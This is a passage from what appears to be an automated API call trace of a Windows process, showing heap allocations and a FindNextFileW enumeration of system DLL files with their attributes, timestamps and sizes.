(HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0210.114] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x92c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0210.114] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.115] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.115] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0210.116] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, 